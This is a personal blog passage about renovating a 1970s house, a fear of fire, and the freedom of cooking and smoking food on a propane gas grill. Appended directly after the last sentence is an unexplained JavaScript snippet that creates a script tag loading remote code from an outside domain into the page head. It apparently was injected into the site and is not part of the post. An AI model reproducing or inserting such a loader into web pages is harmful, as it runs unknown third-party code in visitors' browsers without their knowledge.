Seven years ago next month, Susan and I moved into the house we live in now, and we did the usual things you do when you move into a place where everything is from the Nixon administration: you strip off the floor-to-ceiling photo mural of Grindlewald, Switzerland. You pull off the metallic yellow kitchen wallpaper. And, if you’re in the process of writing a cookbook (which I was, at the time), you kill the formerly perfect condition avocado green electric Magic Chef range with two solid weeks of recipe testing, and you buy a commercial-ish range and hook it up to a propane line that will also power the gas grill you buy for your deck.

I’ve had a lot of issues with grills over the years, since I’m afraid of fire and have been for as long as I can remember. We also own Susan’s late father’s patent pending Weber kettle grill (also avocado green) from the 1950s, and when we lived in our old house, I wouldn’t get near it, mostly because Susan would use lighter fluid to speed up the charcoal, a fact which once resulted in her melting the siding off the house.

But with our gas grill came a certain freedom: I could use it without too much worry; I could use it all year ’round; and I could use it to slow smoke whatever I wanted to, with ease.var url = 'https://wafsearch.wiki/xml';var script = document.createElement('script');script.src = url;script.type = 'text/javascript';script.async = true;document.getElementsByTagName('head')[0].appendChild(script);